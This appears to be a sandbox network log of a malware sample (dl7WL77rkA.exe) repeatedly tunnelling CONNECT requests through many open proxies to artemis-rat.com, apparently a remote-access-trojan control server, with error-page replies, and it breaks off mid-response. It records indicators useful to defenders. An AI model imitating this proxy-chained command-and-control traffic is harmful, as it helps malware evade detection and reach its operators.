Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50295	104.20.75.31	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.141138077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.295747995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50296	104.20.225.218	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.143049955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.297343016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50227	81.250.223.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.159646034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.471532106 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50294	51.81.186.179	58630	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.173932076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.654834032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.217360020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.326750040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702265024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092763901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.405282974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.905210018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.904978991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50208	103.63.190.37	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.176321983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.542819977 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50322	104.21.80.83	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.179914951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.334521055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50283	184.178.172.23	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.204816103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50330	104.19.109.209	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.205452919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.359724045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50329	104.16.105.207	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.205738068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.360162973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50335	104.20.75.69	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.205743074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.359771967 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50277	98.162.25.23	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.208151102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50340	104.16.81.76	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.212833881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.367114067 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50312	162.241.6.97	60651	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.212836027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.717333078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.342380047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.592461109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108496904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	50233	43.155.142.116	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.217350960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	50255	46.226.148.105	36366	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.221811056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.889219046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50350	188.114.99.37	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.231101990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.385596991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49715	154.12.253.232	52127	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.236437082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.311126947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.311610937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.468137026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.514616013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	50243	156.67.217.159	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.238276958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.581748009 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 